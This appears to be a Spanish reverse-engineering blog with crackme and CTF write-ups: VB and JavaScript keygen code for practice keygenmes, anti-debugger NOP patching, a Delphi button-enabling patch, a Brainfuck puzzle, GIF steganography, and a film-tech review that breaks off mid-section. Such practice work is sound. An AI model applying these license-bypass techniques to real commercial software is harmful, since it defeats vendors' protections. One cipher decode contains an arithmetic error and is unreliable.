var_94 = Int(((var_128 / CVar(Len(a)))))
Finalmente el código fuente de nuestro keygen quedaría así:
Private Sub Command1_Click() 'Generate CODE
Dim CODE As String
Dim var As Integer
Randomize
var = CLng((0 - 9999) * Rnd + 9999)
Me.CODE.Text = "deurus" & var
codesum = checkcode(Me.CODE.Text)
If CBool((codesum > 70) And (codesum < 90)) Then
lbl.Caption = "Code valid, now generate a serial"
Command2.Enabled = True
Else
Command2.Enabled = False
Command1_Click
End If
End Sub
Private Sub Command2_Click() 'Generate SERIAL
If (Len(Me.CODE.Text) > 4) Then
codesum = checkcode(Me.CODE.Text)
If CBool((codesum > 70) And (codesum < 90)) Then
SERIAL.Text = cript(Left$(Me.CODE.Text, 10))
Else
lbl.Caption = "Code not valid, first gen code"
End If
End If
End Sub
Private Sub CODE_KeyUp(KeyCode As Integer, Shift As Integer)
If (Len(Me.CODE.Text) > 4) Then
var_B0 = checkcode(Me.CODE.Text)
lbl.Caption = "Value must be between 70 - 90. Yours: " & var_B0
If CBool((var_B0 > 70) And (var_B0 < 90)) Then
lbl.Caption = "Code valid, now generate a serial"
Command2.Enabled = True
Else
Command2.Enabled = False
End If
End If
Exit Sub
End Sub
Public Function cript(a)
Dim var_9C As Long
var_98 = CStr(UCase(a))
For var_10C = 1 To CVar(Len(var_98)): var_CC = var_10C
var_9C = CLng((CVar(var_9C) + (CVar((Asc(Mid$(var_98, CLng(var_CC), 1)) - 9) Xor &H58) + var_CC) ^ 2))
Next var_10C
For var_160 = 1 To 100: var_140 = var_160
If (Mid$(CVar(Me.CODE.Text), CLng(var_140), 1) = vbNullString) Then
GoTo loc_4030C0
End If
Next var_160
loc_4030C0:
var_9C = CLng(((CVar(var_9C) * Int((var_140 / 2))) * 16))
var_94 = Hex(var_9C)
cript = var_94
End Function
Public Function checkcode(a)
For var_F4 = 1 To CVar(Len(a)): var_A4 = var_F4
'Suma el valor ascii de todos los caracteres / Add the ascii value of our code
var_128 = var_128 + (CVar(Asc(Mid$(a, CLng(var_A4), 1))))
Next var_F4
'Lo divide entre la longitud del code / Divide our codesum by code lenght
var_94 = Int(((var_128 / CVar(Len(a))))) 'corrección
checkcode = var_94
End Function
En crackmes.de podéis conseguir el crackme y el keygen.
Siguiendo con los crackmes que contienen RSA, esta vez tenemos un Keygenme del grupo PGC (Pirates Gone Crazy) que incluso servía para ser admitido en el grupo si mandabas la solución. Como veremos usa RSA32 + MD5 y en la parte de RSA ni siquiera usa el descifrado por lo que es de los sencillitos.
p = Primer número primo
q = Segundo número primo
e = Exponente público que cumpla MCD(e,(p-1)*(q-1))==1
n = Módulo público siendo n=p*q
d = Exponente privado que cumpla d=e^(-1) mod ((p-1)*(q-1))De este modo e y n son la parte pública de la clave y d y n la parte privada. Los número primos p y q se utilizan solo para generar los parámetros y de ahí en adelante se pueden desechar.
cifrado = descifrado ^ e mod n
descifrado = cifrado ^ d mod nEn las referencias de texto se ven a simple vista el exponente público e (10001) y el módulo n (8e701a4c793eb8b739166bb23b49e421)
Text strings referenced in RSA32+MD:.text
Address Disassembly Text string
00401848 PUSH RSA32+MD.00404104 ASCII "%.8x%.8x%.8x%.8x"
00401A72 PUSH RSA32+MD.0040429C ASCII "[PGCTRiAL/2oo2]"
00401AEE PUSH RSA32+MD.00404275 ASCII "10001"
00401AFE PUSH RSA32+MD.0040427B ASCII "8e701a4c793eb8b739166bb23b49e421"
00401B43 PUSH RSA32+MD.00404404 ASCII "Name Must Be >= 1 Character."
00401B57 PUSH RSA32+MD.00404421 ASCII "Key Must Be >= 1 Character."
00401B6D PUSH RSA32+MD.0040443D ASCII "Congratulations!"
00401B72 PUSH RSA32+MD.0040444E ASCII " You've done it!
Please send your keygen along with
source code to pgc@dangerous-minds.com
if you would like to be considered as
a new member of PGC."
00401BE7 PUSH 0 (Initial CPU selection)
00401C47 MOV [DWORD SS:EBP-24],RSA32+MD.00404119 ASCII "PGCWinClass"
00401C7C MOV [DWORD SS:EBP-24],RSA32+MD.0040424E ASCII "STATIC"
00401CDB PUSH RSA32+MD.00404115 ASCII "PGC"
00401CE0 PUSH RSA32+MD.00404119 ASCII "PGCWinClass"
00401D13 PUSH RSA32+MD.00404125 ASCII "EDIT"
00401D46 PUSH RSA32+MD.00404125 ASCII "EDIT"
00401DFB PUSH RSA32+MD.00404115 ASCII "PGC"
00401E00 PUSH RSA32+MD.0040424E ASCII "STATIC"
00401A0E /$ 53 PUSH EBX
00401A0F |. 57 PUSH EDI
00401A10 |. 56 PUSH ESI
00401A11 |. 6A 11 PUSH 11 ; /Count = 11 (17.)
00401A13 |. 68 AC424000 PUSH RSA32+MD.004042AC ; |Buffer = RSA32+MD.004042AC
00401A18 |. FF35 94454000 PUSH [DWORD DS:404594] ; |hWnd = NULL
00401A1E |. E8 49080000 CALL <JMP.&USER32.GetWindowTextA> ; \GetWindowTextA
00401A23 |. 83F8 01 CMP EAX,1
00401A26 |. 0F8C 17010000 JL RSA32+MD.00401B43
00401A2C |. A3 6D424000 MOV [DWORD DS:40426D],EAX
00401A31 |. 6A 22 PUSH 22 ; /Count = 22 (34.)
00401A33 |. 68 BD424000 PUSH RSA32+MD.004042BD ; |Buffer = RSA32+MD.004042BD
00401A38 |. FF35 98454000 PUSH [DWORD DS:404598] ; |hWnd = NULL
00401A3E |. E8 29080000 CALL <JMP.&USER32.GetWindowTextA> ; \GetWindowTextA
00401A43 |. 83F8 01 CMP EAX,1
00401A46 |. 0F8C 0B010000 JL RSA32+MD.00401B57
00401A4C |. A3 71424000 MOV [DWORD DS:404271],EAX
00401A51 |. 6A 00 PUSH 0
00401A53 |. E8 C8080000 CALL RSA32+MD.00402320
00401A58 |. A3 69424000 MOV [DWORD DS:404269],EAX
00401A5D |. A1 71424000 MOV EAX,[DWORD DS:404271]
00401A62 |. FF35 69424000 PUSH [DWORD DS:404269] ; /Arg2 = 00000000
00401A68 |. 68 BD424000 PUSH RSA32+MD.004042BD ; |Arg1 = 004042BD
00401A6D |. E8 510A0000 CALL RSA32+MD.004024C3 ; \RSA32+MD.004024C3
00401A72 |. 68 9C424000 PUSH RSA32+MD.0040429C ; /StringToAdd = "[PGCTRiAL/2oo2]"
00401A77 |. 68 AC424000 PUSH RSA32+MD.004042AC ; |ConcatString = ""
00401A7C |. E8 51080000 CALL <JMP.&KERNEL32.lstrcatA> ; \lstrcatA
00401A81 |. 68 AC424000 PUSH RSA32+MD.004042AC ; /String = ""
00401A86 |. E8 4D080000 CALL <JMP.&KERNEL32.lstrlenA> ; \lstrlenA
00401A8B |. 68 DF424000 PUSH RSA32+MD.004042DF ; /Arg4 = 004042DF
00401A90 |. 68 10454000 PUSH RSA32+MD.00404510 ; |Arg3 = 00404510
00401A95 |. 50 PUSH EAX ; |Arg2
00401A96 |. 68 AC424000 PUSH RSA32+MD.004042AC ; |Arg1 = 004042AC
00401A9B |. E8 60F5FFFF CALL RSA32+MD.00401000 ; \RSA32+MD.00401000
00401AA0 |. 6A 00 PUSH 0
00401AA2 |. E8 79080000 CALL RSA32+MD.00402320
00401AA7 |. A3 5D424000 MOV [DWORD DS:40425D],EAX
00401AAC |. 6A 00 PUSH 0
00401AAE |. E8 6D080000 CALL RSA32+MD.00402320
00401AB3 |. A3 59424000 MOV [DWORD DS:404259],EAX
00401AB8 |. 6A 00 PUSH 0
00401ABA |. E8 61080000 CALL RSA32+MD.00402320
00401ABF |. A3 61424000 MOV [DWORD DS:404261],EAX
00401AC4 |. 6A 00 PUSH 0
00401AC6 |. E8 55080000 CALL RSA32+MD.00402320
00401ACB |. A3 65424000 MOV [DWORD DS:404265],EAX
00401AD0 |. B8 02000000 MOV EAX,2
00401AD5 |. C1E0 04 SHL EAX,4
00401AD8 |. FF35 5D424000 PUSH [DWORD DS:40425D] ; /Arg2 = 00000000
00401ADE |. 68 DF424000 PUSH RSA32+MD.004042DF ; |Arg1 = 004042DF
00401AE3 |. E8 DB090000 CALL RSA32+MD.004024C3 ; \RSA32+MD.004024C3
00401AE8 |. FF35 65424000 PUSH [DWORD DS:404265] ; /Arg2 = 00000000
00401AEE |. 68 75424000 PUSH RSA32+MD.00404275 ; |Arg1 = 00404275 ASCII "10001"
00401AF3 |. E8 CB090000 CALL RSA32+MD.004024C3 ; \RSA32+MD.004024C3
00401AF8 |. FF35 61424000 PUSH [DWORD DS:404261] ; /Arg2 = 00000000
00401AFE |. 68 7B424000 PUSH RSA32+MD.0040427B ; |Arg1 = 0040427B ASCII "8e701a4c793eb8b739166bb23b49e421"
00401B03 |. E8 BB090000 CALL RSA32+MD.004024C3 ; \RSA32+MD.004024C3
00401B08 |. FF35 59424000 PUSH [DWORD DS:404259]
00401B0E |. FF35 61424000 PUSH [DWORD DS:404261]
00401B14 |. FF35 65424000 PUSH [DWORD DS:404265]
00401B1A |. FF35 5D424000 PUSH [DWORD DS:40425D]
00401B20 |. E8 87120000 CALL RSA32+MD.00402DAC
00401B25 |. FF35 69424000 PUSH [DWORD DS:404269]
00401B2B |. FF35 59424000 PUSH [DWORD DS:404259]
00401B31 |. E8 61080000 CALL RSA32+MD.00402397
00401B36 |. 85C0 TEST EAX,EAX
00401B38 |. 74 31 JE SHORT RSA32+MD.00401B6B
00401B3A |. E8 85000000 CALL RSA32+MD.00401BC4
00401B3F |. 5E POP ESI
00401B40 |. 5F POP EDI
00401B41 |. 5B POP EBX
00401B42 |. C3 RET
00401B43 |> 68 04444000 PUSH RSA32+MD.00404404 ; /Text = "Name Must Be >= 1 Character."
00401B48 |. FF35 98454000 PUSH [DWORD DS:404598] ; |hWnd = NULL
00401B4E |. E8 5B070000 CALL <JMP.&USER32.SetWindowTextA> ; \SetWindowTextA
00401B53 |. 5E POP ESI
00401B54 |. 5F POP EDI
00401B55 |. 5B POP EBX
00401B56 |. C3 RET
00401B57 |> 68 21444000 PUSH RSA32+MD.00404421 ; /Text = "Key Must Be >= 1 Character."
00401B5C |. FF35 98454000 PUSH [DWORD DS:404598] ; |hWnd = NULL
00401B62 |. E8 47070000 CALL <JMP.&USER32.SetWindowTextA> ; \SetWindowTextA
00401B67 |. 5E POP ESI
00401B68 |. 5F POP EDI
00401B69 |. 5B POP EBX
00401B6A |. C3 RET
00401B6B |> 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL
00401B6D |. 68 3D444000 PUSH RSA32+MD.0040443D ; |Title = "Congratulations!"
00401B72 |. 68 4E444000 PUSH RSA32+MD.0040444E ; |Text = " You've done it!
Please send your keygen along with
source code to pgc@dangerous-minds.com
if you would like to be considered as
a new member of PGC."
00401B77 |. FF35 8C454000 PUSH [DWORD DS:40458C] ; |hOwner = NULL
00401B7D |. E8 02070000 CALL <JMP.&USER32.MessageBoxA> ; \MessageBoxA
00401B82 |. EB 00 JMP SHORT RSA32+MD.00401B84
00401B84 |> FF35 5D424000 PUSH [DWORD DS:40425D]
00401B8A |. E8 BE070000 CALL RSA32+MD.0040234D
00401B8F |. FF35 59424000 PUSH [DWORD DS:404259]
00401B95 |. E8 B3070000 CALL RSA32+MD.0040234D
00401B9A |. FF35 61424000 PUSH [DWORD DS:404261]
00401BA0 |. E8 A8070000 CALL RSA32+MD.0040234D
00401BA5 |. FF35 65424000 PUSH [DWORD DS:404265]
00401BAB |. E8 9D070000 CALL RSA32+MD.0040234D
00401BB0 |. FF35 69424000 PUSH [DWORD DS:404269]
00401BB6 |. E8 92070000 CALL RSA32+MD.0040234D
00401BBB |. E8 04000000 CALL RSA32+MD.00401BC4
00401BC0 |. 5E POP ESI
00401BC1 |. 5F POP EDI
00401BC2 |. 5B POP EBX
00401BC3 \. C3 RET
Como vemos comprueba que tanto el nombre como el número de serie tengan al menos un dígito y a continuación comienza el chequeo del serial. El chequeo es muy sencillo ya que ni siquiera tenemos que buscar los números primos p y q y a continuación n, simplemente podemos obtener el número de serie con la parte pública de la clave (par de número e y n). Lo resumimos a continuación:
1. deurus[PGCTRiAL/2oo2] 2. md5(deurus[PGCTRiAL/2oo2]) = dc8a39282da8539d11b8a6aec000c45a 3. dc8a39282da8539d11b8a6aec000c45a^10001 mod 8e701a4c793eb8b739166bb23b49e421 = 1FF83ECC5A65334DA2BC93C675A9BA15 Nombre: deurus Serial: 1FF83ECC5A65334DA2BC93C675A9BA15
//
// md5(deurus[PGCTRiAL/2oo2]) = dc8a39282da8539d11b8a6aec000c45a
//
var c = BigInt("0xdc8a39282da8539d11b8a6aec000c45a");
var e = BigInt("0x10001");
var n = BigInt("0x8e701a4c793eb8b739166bb23b49e421");
//
var serial = BigInt(0);
serial = powmod(c, e, n);
document.write(serial.toString(16));
//
//POWMOD
//
function powmod(base, exp, modulus) {
var accum = BigInt("1");
var i = BigInt("0");
var basepow2 = BigInt(base);
while ((BigInt(exp) >> BigInt(i) > BigInt(0))) {
if (((BigInt(exp) >> BigInt(i)) & BigInt(1)) == BigInt(1)) {
accum = (BigInt(accum) * BigInt(basepow2)) % BigInt(modulus);
}
basepow2 = (BigInt(basepow2) * BigInt(basepow2)) % BigInt(modulus);
i++;
}
return BigInt(accum);
}
Hemos interceptado un mensaje secreto, pero ninguno de nuestros traductores lo sabe interpretar, ¿sabrías interpretarlo tú? Lo único que hemos encontrado es esto en un foro: шжзклмнпфъ = 1234567890
Mensaje secreto: нж, фн, фф, шън, нф, шшъ, шжз, мф, шъп, фл, пк, шъш, шшм, шшк, шъл, шшл, фл, шъш, шшл, фл, шшн, шшъ, фл, шъм, шшн, шъш, шъз, шшш, фл, пж, шшн, шшл, шшш, шжл
Parece que el mensaje secreto está encriptado utilizando un alfabeto cifrado que corresponde a números. Según la clave proporcionada (шжзклмнпфъ = 1234567890), cada letra del alfabeto cirílico se sustituye por un número.
Primero, descompondremos la clave dada:
ш = 1
ж = 2
з = 3
к = 4
л = 5
м = 6
н = 7
п = 8
ф = 9
ъ = 0
Ahora, aplicamos esta clave al mensaje secreto:
нж, фн, фф, шън, нф, шшъ, шжз, мф, шъп, фл, пк, шъш, шшм, шшк, шъл, шшл, фл, шъш, шшл, фл, шшн, шшъ, фл, шъм, шшн, шъш, шъз, шшш, фл, пж, шшн, шшл, шшш, шжл
Sustituyendo cada letra según la clave:
нж = 72
фн = 97
фф = 99
шън = 107
нф = 79
шшъ = 110
шжз = 123
мф = 69
шъп = 108
фл = 95
пк = 84
шъш = 101
шшм = 116
шшк = 114
шъл = 105
шшл = 115
фл = 95
шъш = 101
шшл = 115
фл = 95
шшн = 117
шшъ = 110
фл = 95
шъм = 106
шшн = 117
шъш = 101
шъз = 130
шшш = 111
фл = 95
пж = 82
шшн = 117
шшл = 115
шшш = 111
шжл = 125
El mensaje traducido a números es:
72, 97, 99, 107, 79, 110, 123, 69, 108, 95, 84, 101, 116, 114, 105, 115, 95, 101, 115, 95, 117, 110, 95, 106, 117, 101, 130, 111, 95, 82, 117, 115, 111, 125
Este parece ser un mensaje cifrado en números. La secuencia de números se puede interpretar de varias maneras (como ASCII, coordenadas, etc.). Si asumimos que es un texto codificado en ASCII:
Convertimos cada número a su correspondiente carácter ASCII:
72 = H
97 = a
99 = c
107 = k
79 = O
110 = n
123 = {
69 = E
108 = l
95 = _
84 = T
101 = e
116 = t
114 = r
105 = i
115 = s
95 = _
101 = e
115 = s
95 = _
117 = u
110 = n
95 = _
106 = j
117 = u
101 = e
130 = ?
111 = o
95 = _
82 = R
117 = u
115 = s
111 = o
125 = }
Juntando todo:
HackOn{El_Tetris_e_s_u_n_j_u_e?o_Ruso}
La parte «{El_Tetris_e_s_u_n_j_u_e?o_Ruso}» parece un mensaje en español. Probablemente deba ser leído como: HackOn{El_Tetris_es_un_juego_Ruso}
Así, el mensaje secreto es: HackOn{El_Tetris_es_un_juego_Ruso}.
La imagen de portada de la entrada ha sido generada con ChatGPT.
Este un crackme muy interesante para principiantes ya que la rutina no es muy compleja. Está hecho en ensamblador.
Arrancamos el crackme en Olly damos al play y se cierra. Buscamos en las «Intermodular Calls» y vemos «IsDebuggerPresent«, clickamos sobre ella y vemos el típico call, lo NOPeamos.
Aquí vemos el call.
Call Nopeado.
Encontrar en serial válido en esta ocasión es muy sencillo, basta con buscar en las «String References» el mensaje de «Bad boy» y fijarse en la comparación.
Si nos fijamos en el serial generado nos da muchas pistas pero vamos a destriparlo ya que tampoco tiene mucha complicación. De nuevo miramos en las «String references» y clickamos sobre el mensaje de «bad boy«. Encima de los mensajes vemos claramente la rutina de creación del serial.
004010EB |. 83F8 04 CMP EAX,4 ;Longitud del nombre >4 004010EE |. 72 05 JB SHORT Ice9.004010F5 004010F0 |. 83F8 0A CMP EAX,0A ;Longitud del nombre <=10 004010F3 |. 76 15 JBE SHORT Ice9.0040110A 004010F5 |> 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL 004010F7 |. 68 04304000 PUSH Ice9.00403004 ; |Title = "Error, Bad Boy" 004010FC |. 68 1C304000 PUSH Ice9.0040301C ; |Text = "name must be at least 4 chars" 00401101 |. 6A 00 PUSH 0 ; |hOwner = NULL 00401103 |. E8 70010000 CALL <JMP.&user32.MessageBoxA> ; \MessageBoxA ........ 00401183 . 3BD3 CMP EDX,EBX 00401185 . 74 15 JE SHORT Ice9.0040119C 00401187 . 8A07 MOV AL,BYTE PTR DS:[EDI] 00401189 . 3C 5A CMP AL,5A ;Compara que el dígito < 5A 0040118B . 7E 05 JLE SHORT Ice9.00401192 0040118D > 03C8 ADD ECX,EAX ;ECX + Ascii(dígito) 0040118F . 47 INC EDI 00401190 .^ EB EE JMP SHORT Ice9.00401180 00401192 > 3C 41 CMP AL,41 ;Compara que el dígito > 41 00401194 . 7D 02 JGE SHORT Ice9.00401198 00401196 . EB 02 JMP SHORT Ice9.0040119A 00401198 > 04 2C ADD AL,2C ;Si cumple lo anterior dígito +2C 0040119A >^ EB F1 JMP SHORT Ice9.0040118D 0040119C > 81C1 9A020000 ADD ECX,29A ;ECX + 29A 004011A2 . 69C9 39300000 IMUL ECX,ECX,3039 ;ECX * 3039 004011A8 . 83E9 17 SUB ECX,17 ;ECX - 17 004011AB . 6BC9 09 IMUL ECX,ECX,9 ;ECX * 9 004011AE . 33DB XOR EBX,EBX 004011B0 . 8BC1 MOV EAX,ECX ;Mueve nuestro SUM en EAX 004011B2 . B9 0A000000 MOV ECX,0A ;ECX = A 004011B7 > 33D2 XOR EDX,EDX 004011B9 . F7F1 DIV ECX ;SUM / ECX (Resultado a EAX) 004011BB . 80C2 30 ADD DL,30 004011BE . 881433 MOV BYTE PTR DS:[EBX+ESI],DL 004011C1 . 83C3 01 ADD EBX,1 004011C4 . 83F8 00 CMP EAX,0 004011C7 . 74 02 JE SHORT Ice9.004011CB 004011C9 .^ EB EC JMP SHORT Ice9.004011B7 004011CB > BF C8304000 MOV EDI,Ice9.004030C8 004011D0 > 8A4433 FF MOV AL,BYTE PTR DS:[EBX+ESI-1] 004011D4 . 8807 MOV BYTE PTR DS:[EDI],AL 004011D6 . 47 INC EDI 004011D7 . 4B DEC EBX 004011D8 . 83FB 00 CMP EBX,0 004011DB .^ 75 F3 JNZ SHORT Ice9.004011D0 004011DD . C607 00 MOV BYTE PTR DS:[EDI],0 ;Coje letras del nombre en función 004011E0 . 8D3D B4304000 LEA EDI,DWORD PTR DS:[4030B4] ;del resultado anterior 004011E6 . 68 B7304000 PUSH Ice9.004030B7 ; ASCII "rus" 004011EB . 68 C8304000 PUSH Ice9.004030C8 ; ASCII "134992368rus" 004011F0 . E8 BB000000 CALL Ice9.004012B0 ; Concatena 004011F5 . 68 C8304000 PUSH Ice9.004030C8 ; /String2 = "136325628rus" 004011FA . 68 98314000 PUSH Ice9.00403198 ; |String1 = "12345" 004011FF . E8 98000000 CALL <JMP.&kernel32.lstrcmpA> ; \lstrcmpA
Resumen (valores hexadecimales):
Finalmente concatena letras siguiendo este criterio:
Ejemplo para deurus
d e u r u (s) 64+65+75+72+75 = 225 225 + 29A = 4BF 4BF * 3039 = E4DE87 E4DE87 - 17 = E4DE70 E4DE70 * 9 = 80BD1F0 ;Pasamos a decimal y concatenamos 134992368rus
Ejemplo para Deurus
D e u r u (s) 44(+2C)+65+75+72+75 = 25D 25D + 29A = 4F7 4BF * 3039 = EF6AFF EF6AFF - 17 = EF6AE8 EF6AE8 * 9 = 86AC228 ;Pasamos a decimal y concatenamos 141214248rus
Como curiosidad decirtos que con el tiempo valores del estilo 29A y 3039 os pegarán rápido al ojo ya que equivalen a 666 y 12345 en decimal. Por cierto 29A fue un grupo de hackers creadores de virus muy conocido en la escena Nacional e Internacional.
Hace unos años cuando empecé a trastear con Android y animado por mi afición a la Ingeniería Inversa, decidí realizar una serie de crackmes. Los dos primeros pasaron algo desapercibidos, pero el Crackme nº3 tuvo una gran repercusión en el mundillo y, aunque no fue el primer crackme para Android ni mucho menos, si que fue uno de los más estudiados. Todos ellos fueron publicados a través de crackmes.de y el nº3 en cuestión el 6 de Noviembre de 2010. Os dejo una lista de unas cuantas webs donde aparece analizado para que veáis la repercusión que a mi parecer tuvo.
Los retos criptográficos son muy variados y muchas veces la dificultad está en saber a que te enfrentas. En este caso pasa eso, te dan un código y si no has visto algo parecido en la vida, no sabes por donde empezar. El título del autor da una pequeña pista pero para los desconocedores no es suficiente. La pista es el título y dice «WTF?!?» y el código a descifrar es el siguiente:
[-]>[-]< >+++++++++++[<+++++++++++>-]<. >+++[<--->-]<-. >++[<++>-]<++. +. >++++[<---->-]<-. ---. +++. . >+++[<+++>-]<. >+++[<--->-]<+. >++++[<++++>-]<-. >++++[<---->-]<--. >+++[<+++>-]<-. >++[<-->-]<--. -.
Si eres una persona con recursos, realizaras varias búsquedas por la red y al final llegarás a la conclusión de que te enfrentas a BRAINFUCK, un lenguaje de programación esotérico como ya vimos en el reto de Root-Me.
Os comparto un reto stego que me gustó cuando lo hice hace unos años. En realidad se tarda pocos minutos en resolverlo pero depende de tus recursos es posible que se te atragante.
Cuando te has enfrentado a unos cuantos retos stego lo normal es que tengas un arsenal de herramientas por las que vas a pasar a la víctima. En mi caso cuando se trata de imágenes, mi fondo de armario está formado por steganabara y stegsolve. Si con esas dos herramientas no lo veo claro ya empiezo a mirar en sus entrañas y en este caso es justo lo que hace falta, mirar en su interior.
Estamos ante una imagen GIF de 6,36KB (6513 bytes) cuya resolución es 236×42. Debido a la extensión tenderemos a analizar los frames por si se trata de una animación. Una vez desestimada la animación entran en juego steganabara, stegsolve y demás familia. Si todo lo anterior falla abro el archivo con un editor hexadecimal y lo reviso manualmente por si hay algo que me llama la atención.
Explorando el interior del archivo enseguida encontramos algo que llama la atención, una sucesión de bytes con espacios intercalados.
Tras copiar los bytes lo primero es eliminar los espacios y empezar a jugar con ellos. Una de las cosas que podemos hacer es convertir los bytes a ascii y voilá, nos encontramos con lo que parece otro archivo GIF.
Copiamos los bytes con la ayuda de nuestro editor hexadecimal favorito, guardamos el archivo como GIF y reto superado.
Nota: si algo os pide clave es deurus.info
Este crackme pertenece a la página de Karpoff Spanish Tutor. Data del año 2000 y está realizado en «Borland Delphi 6.0 – 7.0», además, para resolverlo deberemos activar un botón y conseguir la clave de registro. La principal dificultad proviene a la hora de activar el botón ya que el serial es en realidad un serial hardcodeado muy sencillo.
Existen numerosas herramientas para facilitarnos esta tarea, una de las más conocidas en el entorno del Cracking es «Veoveo» realizado por Crack el Destripador & Marmota hace ya unos añitos. Con el crackme ejecutado, ejecutamos VeoVeo y nos aparece el icono en la barra de tareas, hacemos click derecho y elegimos Activar Botones (manual) y ya tenemos el botón activado. Claro está que en cada ejecución del Crackme debemos de Re-activarlo.
Lo que siempre nos interesa es que el botón esté activado de forma permanente y eso nos exige un poco más de atención. En este caso nos enfrentamos a Delphi y no nos sirve ni Resource Hacker ni Dede. Cuando nos encontramos en un punto muerto el último recurso siempre es realizar un programa en Delphi con un botón activado y otro desactivado y compararlos con un editor hexadecimal para saber que cambia. Si hacemos esto llegaremos a la conclusión de que en Delphi el bit que equivale a desactivado es 8 y ha activado es 9. Con este simple cambio ya tenemos el crackme parcheado. Comentar que en este caso el crackme no tiene ningún timer ni ninguna rutina que desactive el botón de forma periódica, este es el caso más simple.
Abrimos Ollydbg y en las «String references» encontramos los mensajes de versión registrada, pinchamos sobre ellos y vemos a simple vista la zona de comprobación del serial. Como podéis observar, el serial se vé a simple vista.
0045811A |. B8 10824500 MOV EAX,CrackMe3.00458210 ; ASCII "ESCRIBE ALGO JOER" 0045811F |. E8 D889FDFF CALL CrackMe3.00430AFC 00458124 |. EB 5C JMP SHORT CrackMe3.00458182 00458126 |> 807D FF 4F CMP BYTE PTR SS:[EBP-1],4F - O 0045812A |. 75 56 JNZ SHORT CrackMe3.00458182 0045812C |. 807D FE 41 CMP BYTE PTR SS:[EBP-2],41 - A 00458130 |. 75 50 JNZ SHORT CrackMe3.00458182 00458132 |. 807D FD 45 CMP BYTE PTR SS:[EBP-3],45 - E 00458136 |. 75 4A JNZ SHORT CrackMe3.00458182 00458138 |. 807D FC 4B CMP BYTE PTR SS:[EBP-4],4B - K 0045813C |. 75 44 JNZ SHORT CrackMe3.00458182 0045813E |. 807D FB 43 CMP BYTE PTR SS:[EBP-5],43 - C 00458142 |. 75 3E JNZ SHORT CrackMe3.00458182 00458144 |. 807D FA 41 CMP BYTE PTR SS:[EBP-6],41 - A 00458148 |. 75 38 JNZ SHORT CrackMe3.00458182 0045814A |. 807D F9 52 CMP BYTE PTR SS:[EBP-7],52 - R 0045814E |. 75 32 JNZ SHORT CrackMe3.00458182 00458150 |. 807D F8 4B CMP BYTE PTR SS:[EBP-8],4B - K 00458154 |. 75 2C JNZ SHORT CrackMe3.00458182 00458156 |. 807D F7 20 CMP BYTE PTR SS:[EBP-9],20 - 0045815A |. 75 26 JNZ SHORT CrackMe3.00458182 0045815C |. 807D F6 49 CMP BYTE PTR SS:[EBP-A],49 - I 00458160 |. 75 20 JNZ SHORT CrackMe3.00458182 00458162 |. 807D F5 4F CMP BYTE PTR SS:[EBP-B],4F - O 00458166 |. 75 1A JNZ SHORT CrackMe3.00458182 00458168 |. 807D F4 54 CMP BYTE PTR SS:[EBP-C],54 - T 0045816C |. 75 14 JNZ SHORT CrackMe3.00458182 0045816E |. 807D F3 20 CMP BYTE PTR SS:[EBP-D],20 - 00458172 |. 75 0E JNZ SHORT CrackMe3.00458182 00458174 |. 807D F2 41 CMP BYTE PTR SS:[EBP-E],41 - A 00458178 |. 75 08 JNZ SHORT CrackMe3.00458182 0045817A |. 807D F1 59 CMP BYTE PTR SS:[EBP-F],59 - Y 0045817E |. 75 02 JNZ SHORT CrackMe3.00458182 00458180 |. B3 01 MOV BL,1 00458182 |> 80FB 01 CMP BL,1 00458185 |. 75 4C JNZ SHORT CrackMe3.004581D3 00458187 |. BA 2C824500 MOV EDX,CrackMe3.0045822C 0045818C |. 8B86 F4020000 MOV EAX,DWORD PTR DS:[ESI+2F4] 00458192 |. E8 B5EBFDFF CALL CrackMe3.00436D4C 00458197 |. BA 48824500 MOV EDX,CrackMe3.00458248 ; ASCII "VERSION REGISTRADA :)" Serial = YA TOI KRACKEAO
Hoy analizamos Copycat, un thriller psicológico de 1995 que, como muchas películas de la época, no pudo resistirse a incorporar elementos tecnológicos que, vistos desde una perspectiva actual, nos sacan una sonrisa. Vamos a desmontar algunos gazapos tecnológicos y curiosidades relacionadas con los sistemas informáticos que aparecen en la película.
La protagonista, la Dra. Helen Hudson (Sigourney Weaver), trabaja en un escritorio con tres pantallas, algo futurista para la época. En 1995, esto no era tan común como hoy en día. Para lograrlo, probablemente necesitaría tres ordenadores conectados de forma independiente, ya que los sistemas operativos y hardware de la época no solían soportar múltiples monitores en una sola máquina. Esto plantea preguntas interesantes sobre la logística de su set-up: ¿Cómo sincronizaba su trabajo entre tres PCs?
Un detalle curioso es que, en algunas tomas, se distingue la marca Compaq en los equipos. Compaq era una de las compañías líderes en la fabricación de ordenadores personales durante los 90 y conocida por sus soluciones de alta calidad. Este dato refuerza la idea de que el set-up de Helen estaba diseñado para representar lo último en tecnología de la época, aunque hoy resulte un tanto rudimentario. La elección de Compaq no es casual: en ese momento, era sinónimo de equipos potentes, usados tanto en oficinas como en entornos domésticos avanzados.
En una escena, Helen navega por internet con lo que suponemos es un módem de 28.8 kbps (o como mucho, un flamante 33.6 kbps, tecnología de vanguardia allá por 1995). Hasta ahí, vale. Sin embargo, la fluidez de su conexión sorprende: carga archivos, recibe correos y no se queda esperando con una pantalla de “Conectando…”. Pero lo mejor llega cuando, estando conectada, ¡suena el teléfono! En la realidad, esto cortaría la conexión o comunicaría, a menos que tuviera dos líneas telefónicas (algo raro en domicilios particulares de la época) o algún dispositivo milagroso que no conocemos.
Aunque no se distingue claramente el sistema operativo, vemos una interfaz gráfica con ventanas y una consola de comandos. Esto podría ser un guiño a Windows 3.1 o Windows 3.11, ya maduro en esa época aunque la interfaz no termina de encajar. Sin embargo, también podría ser una mezcla ficticia para hacer que el entorno luciera “tecnológico” sin comprometerse demasiado con la realidad. Detalle curioso: en los 90, las películas solían personalizar las interfaces para no tener problemas legales.
En los 90, el email era el rey. En las películas, los escritorios siempre tenían un gran icono de correo (a menudo animado, porque lo cool siempre parpadeaba). En Copycat, Helen recibe un correo con un archivo AVI de unos 30 segundos, lo cual plantea otra duda técnica: ¿Cuánto espacio ocupaba ese archivo en 1995?
Un AVI de 30 segundos probablemente tendría una resolución baja (320×240 píxeles o menos) y una tasa de compresión eficiente para la época, pero aun así podría pesar entre 2 y 5 MB, dependiendo de la calidad del audio y vídeo. Eso hubiera supuesto una odisea por email, ya que los servidores de la época limitaban los adjuntos a unos pocos cientos de KB. ¿Quizás el villano usó un protocolo privado para saltarse las restricciones?
Tras recibir un inquietante archivo AVI, la protagonista llama a la policía, lo que desencadena una conversación cargada de decisiones tecnológicas cuestionables:
